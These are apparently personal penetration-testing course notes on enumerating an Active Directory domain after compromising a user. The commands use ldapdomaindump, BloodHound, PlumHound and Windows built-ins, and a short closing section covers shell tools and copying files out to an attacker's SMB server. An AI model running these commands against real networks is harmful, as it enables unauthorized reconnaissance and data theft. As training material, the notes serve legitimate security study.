292 words
1 minutes
PEH notes - Active Directory 3

Attacking Active Directory: Post-Compromise Enumeration#

Introduction#

We have compromised a user. Now what?

image.png

Domain Enumeration with ldapdomaindump#

Steps#

  1. Make a directory

    mkdir <domain_name>
    cd <domain_name>
  2. Run ldapdomaindump

    sudo ldapdomaindump ldaps://<domain_controller_ip> -u '<domain_name>\<user>' -p <password>
  3. Analyse what we dump with Firefox

    image.png

Why is it useful?#

  • what are the high value targets?
    • check the Domain/Enterprise Admins table
  • some specific access for domain users
  • some interesting policies
  • etc.

Domain Enumeration with Bloodhound#

Prerequisites#

  1. Install the latest version of Bloodhound

  2. Need to install, launch and configureneoj4

    sudo neoj4 console

    Go to http://localhost:7474 and configure it

Steps#

  1. Run Bloodhound & connect with your neoj4 credentials

    sudo bloodhound
  2. Run an ingestor to remotely collect data for Bloodhound

    # Prepare a folder to receive all the collected data
    mkdir bloodhound_data
    cd bloodhound_data
    
    # Run the ingestor
    sudo bloodhound-python -d <domain_name> -u <user> -p <password> -ns <domain_controller_ip> -c all
  3. Upload the collected data inside Bloodhound

    image.png

  4. Do some analysis / enumeration

    • Find all Domain Admins
    • See what we can do with our compromised user
    • And so much things…

Domain Enumeration with Plumhound#

Same than Bloodhound but in a different way of showing data and analysis

Prerequisites#

  • Install Plumhound

    git clone https://github.com/PlumHound/PlumHound.git
    sudo pip3 install -r requirements.txt
  • Need to have neoj4 and Bloodhound up with collected data

  • Do a first test to verify everything work

    cd /opt/PlumHound
    sudo python3 PlumHound.py --easy -p <neoj4_password>

Steps#

  1. Run PlumHound with default tasks

    sudo python3 PlumHound.py -x tasks/default.tasks -p <neoj4_password>
  2. Read the reports

    cd reports
    firefox index.html

Domain Enumeration with PowerView#

Script to run on the compromised machine to get some information about domain users, groups, etc.

Prerequisites#

Steps#

Domain Enumeration with PowerShell#

Get domain user’s information (groups, etc.):

net user '<user>' /domain

Get privileges user’s information:

whoami /priv

Other tools#

  • Evil-WinRM: get a shell on Windows (you can connect with a hash ⚠️)
    • Download file from WinRM

      exegol: smbserver.py EXEGOL . -smb2support
      winrm: copy <file> \\<IP>\smb\<file>
  • wmiexec.py / psexec.py / smbexec.py: get a shell on Windows
PEH notes - Active Directory 3
https://fzfstormz.github.io/posts/peh-notes/peh-notes---active-directory-3/
Author
Meitoka
Published at
2024-12-15